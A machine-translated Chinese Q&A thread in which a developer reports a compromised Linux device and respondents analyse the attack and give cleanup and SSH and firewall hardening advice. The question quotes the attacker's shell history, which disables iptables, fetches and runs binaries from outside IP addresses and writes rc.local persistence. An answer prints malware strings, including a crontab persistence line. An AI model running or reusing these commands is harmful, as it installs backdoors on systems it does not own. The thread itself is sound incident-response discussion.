我是不是刚刚被黑客攻击了?

我是不是刚刚被黑客攻击了?

我正在开发一款消费产品,它应该连接到互联网,因此正如预期的那样,它连接到互联网,以便我可以正常开发它。

我离开了一两个小时,当我回到办公室时,我注意到终端上写了一些奇怪的命令。

查看名为的 Linux 日志文件,auth.log我可以看到以下几行(以及更多内容):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP 地址40.127.205.162原来是归微软所有

以下是我不在时使用的一系列命令:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

和更多:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

我完全不知道这一点。我该如何妥善保护我的产品?

我想发布完整的auth.log文件。我该怎么做?

此外,下载的文件yjz1似乎是一个 Linux 木马,据http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

我是否应该致电微软并与他们沟通?我应该怎么做?

答案1

编辑2

这篇文章之所以受到如此多关注,有一个很好的理由:你成功地记录了入侵者在你的电脑上进行的整个实时会话。这与我们日常生活中的情况大不相同,在日常生活中,我们会发现他的行为造成的后果,并试图纠正这些后果。在这里,我们看到他在工作,看到他在建立后门时遇到了一些问题,回溯他的步骤,紧张地工作(可能是因为他坐在你的办公桌前,如上所述,或者,在我看来更有可能是因为他无法让他的恶意软件在系统上运行,见下文),并试图部署完全独立的控制手段。这就是安全研究人员每天用他们的计算机见证的美人计对我来说,这是一个非常难得的机会,也是一些乐趣的来源。


你肯定被黑客攻击了。证据确实如此不是来自auth.log您显示的文件片段,因为它报告了一次不成功的登录尝试,发生在很短的时间段内(两秒钟)。您会注意到第二行显示Failed password,而第三行报告断开pre-auth连接:该人尝试过但失败了。

证据来自于 攻击者下载到您的系统上的两个http://222.186.30.209:65534/yjz文件的内容。http://222.186.30.209:65534/yjz1

该网站目前向所有人开放下载,我下载了这些文件。我首先运行了file它们,结果显示:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

然后我将它们带到我拥有的 64 位 Debian VM 上;通过命令检查其内容strings发现了很多可疑之处(参考各种众所周知的攻击、要替换的命令、显然用于设置新服务的脚本等等)。

然后我生成了这两个文件的 MD5 哈希值,并将它们输入到威尔士哈希数据库以查看它们是否是已知的恶意软件代理。虽然yjz不是yjz1,但 Cymru 报告称防病毒软件检测到的概率为 58%。它还指出该文件最后一次出现是在三天前,因此它相当新。

跑步clamscanclamav软件包的一部分)关于我获得的两个文件:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

所以我们现在可以确定标准 Linux 软件可以识别它。

你该怎么办?

虽然这两个系统都很新,但都不是很新,请参阅 2015 年 1 月关于 XorDdos 的文章例如。因此,大多数免费软件包应该能够将其删除。您应该尝试:,,clamav。我已经在 Google 上搜索过,发现他们声称能够发现它。使用它们来检查前任的工作,但在运行这三个程序后,您应该就可以开始了。rkhunterchkrootkit

至于更大的问题,what should you do to prevent future infectionsJourneyman 的回答是一个很好的开端。请记住,这是一场持续不断的斗争,我们所有人(包括我!)可能在不知情的情况下就失败了。

编辑

在 Viktor Toth 的(间接)提示下,我想补充一些评论。入侵者确实遇到了一些困难:他下载了两个不同的黑客工具,多次更改它们的权限,多次重新启动它们,并多次尝试禁用防火墙。很容易猜出发生了什么:他希望他的黑客工具打开通往其中一台受感染 PC 的通信通道(见下文),当他没有看到这个新通道出现在他的控制 GUI 上时,他担心他的黑客工具被防火墙阻止了,所以他重复了安装程序。我同意 Viktor Toth 的观点,即他的操作的这个特定阶段似乎没有带来预期的成果,但我想鼓励你非常强烈不要低估对您的电脑造成的损害程度。

我在这里提供部分输出strings yjz1

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

这提供了篡改服务(在/etc/init.d和 中/etc/rc.d)、crontab、 的历史文件mysql以及 中的几个文件的证据,这些文件proc是指向 的链接bash(这表明您的 shell 的定制欺诈版本已被植入)。然后,该程序生成一个 HTTP 请求(到中文网站,

 Accept-Language: zh-cn

这为上述 David Schwartz 的评论提供了依据),这可能会造成更大的破坏。在请求中,二进制文件(Content-Type: application/x-www-form-urlencoded)将被下载到受攻击的 PC(GET)并上传到控制机器(POST)。我无法确定将下载到受攻击的 PC 上的内容,但考虑到和的大小都很小yjzyjz1分别为 1.1MB 和 600kB),我可以大胆推测,隐藏 rootkit 所需的大多数文件,IEls修改后的、netstatpsifconfig……版本将以这种方式下载。这也解释了攻击者为何如此疯狂地尝试下载。

不能确定上述情况是否排除了所有可能性:我们确实缺少部分记录(第 457 行到第 481 行之间),也没有看到注销;此外,特别令人担忧的是第 495-497 行,

cd /tmp;  ./yd_cd/make

指向一个我们没看到下载的文件,可能是汇编:如果是这样,则意味着攻击者(终于?)了解了他的可执行文件的问题所在,并正在尝试修复它,在这种情况下,被攻击的 PC 已经一去不复返了。[事实上,攻击者下载到被黑机器上的两个版本的恶意软件(我下载到我的 64 位 Debian VM 上的恶意软件)适用于不合适的架构 x86,而被黑 PC 的名称本身就暴露了他正在处理的是 arm 架构的事实]。

我写此编辑的原因是为了尽可能强烈地敦促您使用专业工具梳理您的系统,或者从头开始重新安装。

顺便说一句,如果这对任何人都有用,这是331尝试连接的IP 地址yjz。这个列表非常大(并且可能注定会变得更大),我相信这就是篡改的原因mysql。另一个后门提供的列表是相同的,我猜想这就是将如此重要的信息公开的原因(我思考攻击者不想费力地将它们存储为内核格式,因此他将整个列表放在一个明文文件中,该文件可能会被他的所有后门读取,无论针对哪个操作系统):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

下面的代码

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

上述列表显示302总计331地址位于中国大陆,其余位于香港、蒙古、台湾。这进一步支持了 David Schwartz 的论点,即这主要是中国的机器人团伙。

编辑3

应@vaid(OP的作者,请阅读下面的评论)的要求,我将添加一条关于如何加强基本Linux系统安全性的评论(对于提供许多服务的系统,这是一个更为复杂的话题)。vaid他指出他做了以下事情:

  1. 重新安装系统

  2. 将 root 密码更改为包含大小写字母、字符和数字的 16 个字符长的密码。

  3. 将用户名更改为 6 个混合字符长的用户名,并应用与 root 相同的密码

  4. 将 SSH 端口改为 5000 以上

  5. 关闭 SSH 根登录。

这很好(除非我使用 10,000 以上的端口,因为许多有用的程序使用 10,000 以下的端口)。但是我必须强调使用加密密钥进行 ssh 登录的必要性,而不是密码。我给你举个个人例子。在我的一个 VPS 上,我不确定是否要更改 ssh 端口;我把它保留在 22,但使用加密密钥进行身份验证。我有数百入侵尝试每天,没有一个人成功。当我厌倦了每天检查没有人成功时,我最终将端口切换到 10,000 以上的某个值,入侵尝试次数降为零。请注意,这并不是说黑客很笨(他们不是!),他们只是追捕更容易的猎物。

使用 RSA 作为签名算法来激活加密密钥很容易,请参阅下面 Jan Hudec 的评论(感谢!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

现在您要做的就是将文件复制id_rsa到要连接的机器(在目录中.ssh,也chmod复制到 700),然后发出命令

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

当您确定这有效时,请在服务器(=您要连接到的机器)上编辑文件/etc/ssh/sshd_config,并更改行

#PasswordAuthentication yes

PasswordAuthentication no

并重新启动ssh服务(service ssh restart或者systemctl restart ssh,或类似的,取决于发行版)。

这将承受很多压力。事实上,目前还没有发现针对openssh v2和 所采用的 RSA 当前版本的已知漏洞openssh v2

最后,为了真正保证你的机器的安全,你需要配置防火墙(netfilter/iptables),如下所示:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

这:1) 允许来自 LAN 和 WAN 的 ssh 连接;2) 允许由您​​的请求发起的所有输入(例如,当您加载网页时);3) 丢弃输入上的所有其他内容;4) 允许输出上的所有内容;5-6) 允许环回接口上的所有内容。

随着您的需求增长,需要开放更多端口,您可以在列表顶部添加如下规则:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

例如允许人们访问您的 Web 浏览器。

答案2

欢迎来到互联网 - 任何开放的 SSH 服务器都可能受到探测、暴力破解和各种侮辱。

首先,您需要彻底清除产品上的存储。如果您想要将其用于取证,请想象一下,但现在其上的 Linux 安装值得怀疑。

有点猜测,但是

  1. 你被暴力破解了或者使用通用密码。这是通过隐蔽性来实现安全性的,但你不会想要一个字典密码或者使用打开 SSH 的 root 帐户。如果可以,请禁用 root SSH 访问,或者至少更改名称,以便他们需要猜测两者。无论如何,以 root 身份进行 SSH 是一种糟糕的安全做法。如果必须使用 root,请以其他用户身份登录并使用 su 或 sudo 进行切换。

  2. 根据产品的不同,您可能需要以某种方式锁定 SSH 访问。完全锁定听起来是个好主意,并允许用户打开它如所须。根据您可以腾出的资源,考虑仅允许您自己的子网中的 IP 地址,或某种登录限制系统。如果您在最终产品上不需要它,请确保将其关闭。

  3. 使用非标准端口。再次通过隐蔽性实现安全性,但这意味着攻击者需要瞄准您的端口。

  4. 永远不要使用默认密码。我见过的最佳方法是随机为特定设备生成密码并将其随产品一起发送。最佳做法是基于密钥的身份验证,但我不知道如何在大众市场产品上采用这种方法。

答案3

哦,你肯定被黑了。有人似乎已经获得了 root 凭据并试图将木马下载到你的系统中。MariusMatutiae 提供了对有效载荷的分析。

出现两个问题:a) 攻击者成功了吗?b) 你能做什么?

第一个问题的答案可能答案是否定的。请注意攻击者反复尝试下载并运行有效载荷,但显然没有成功。我怀疑有什么东西(也许是 SELinux?)阻碍了他。

然而:攻击者还修改了您的/etc/rc.d/rc.local文件,希望当您重新启动系统时,有效载荷会被激活。如果您尚未重新启动系统,请不要重新启动,直到您从中删除这些更改/etc/rc.d/rc.local。如果您已经重新启动了……好吧,运气不好。

至于你能做什么:最安全的做法是清除系统并从头开始重新安装。但这并不总是一个选择。一个不太安全的做法是准确分析发生了什么,并清除所有痕迹,如果可以的话。同样,如果你还没有重新启动系统,也许你只需要清理/etc/rc.d/rc.local,删除攻击者下载的任何东西,最后但并非最不重要的是,更改该死的密码!

但是,如果攻击者已经能够运行有效载荷,则可能对您的系统进行了其他难以检测到的修改。这就是为什么完全擦除实际上是唯一安全(且推荐)的选项。正如您所指出的,相关设备可能是测试/开发目标,因此擦除它可能并不像在其他情况下那样痛苦。

更新:尽管我写了关于可能复苏的内容,但我还是想附和 MariusMatutiae 的观点非常强壮建议不要低估此有效载荷造成的潜在损害以及它可能损害目标系统的程度。

答案4

这里的每个人都提出了可靠的建议,但要明确的是,您的首要任务应该是备份和验证您真正需要从该系统获得什么,然后使用已知安全的媒体进行全新安装以擦除它。

在将新安装的主机连接到 Internet 之前,请先考虑以下几点:

  1. 创建一个新的非 root 用户,并以该用户身份登录。您永远不需要以 root 身份登录,只需在需要时使用 sudo(替代用户执行)即可。

  2. 安装SE Linux,启用强制访问控制的配置设置: https://wiki.debian.org/SELinux/Setup

  3. 考虑在办公室/家庭和互联网之间安装硬件防火墙。我使用 MicroTik,它有出色的社区支持:http://routerboard.com/

假设您有时间完成有偿工作,至少要做到#1。#3 很快,也很便宜,但您要么需要等待邮件中的包裹,要么开车去商店。

相关内容